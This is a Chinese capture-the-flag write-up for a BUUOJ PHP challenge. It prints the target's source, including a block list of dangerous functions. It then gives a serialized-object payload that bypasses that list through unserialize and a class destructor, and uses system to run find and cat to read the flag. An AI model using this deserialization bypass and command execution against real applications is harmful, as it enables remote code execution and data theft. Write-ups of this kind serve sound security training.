题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,发现页面弹出错误提示,使用burpsuite抓包发现POST参数
第二步:分析
从网页上的错误提示看出执行了date()函数,有可能func参数需要传入函数名,并用p参数传输的数据作为参数执行传入的函数。
第四步:验证
func传入readfile,p传入index.php,使用readfile函数读取index.php,发现成功读取index.php源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
第五步:代码审计
- 传入func以及p参数后,对func参数进行验证,其值不能再disable_fun数组里面,通过验证后执行gettime函数。
- disable_fun数组规定了很多非法命令,想从这里绕过难度很大
- gettime函数根据之前的分析会使用func的函数名执行p参数,将结果返回。
- 除了最后的if语句调用了gettime函数外,Test这个类执行析构函数时也会调用gettime函数。
第六步:获取flag
- 由于不能直接传参绕过if函数执行gettime函数读取flag,可以通过反序列化函数,执行反序列化操作,让Test类的析构函数去执行gettime函数,再让gettime函数执行cat \flag操作
- POST参数:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:5:"/flag";s:4:"func";s:3:"cat";}
,发现不能执行cat命令,原因:func执行php中函数,cat是命令
<?php
class Test {
var $p = "/flag";
var $func = "cat";
}
$a = serialize(new Test);
echo $a
?>
-
使用system函数包裹cat /flag,去查找flag,发现没有结果,猜测flag文件名不叫flag
-
使用
system函数执行find / -name flag*
查找flag文件所在地,发现了很多flags文件,猜测flag在/tmp/flagoefiu4r93里
-
使用cat /tmp/flagoefiu4r93读取flag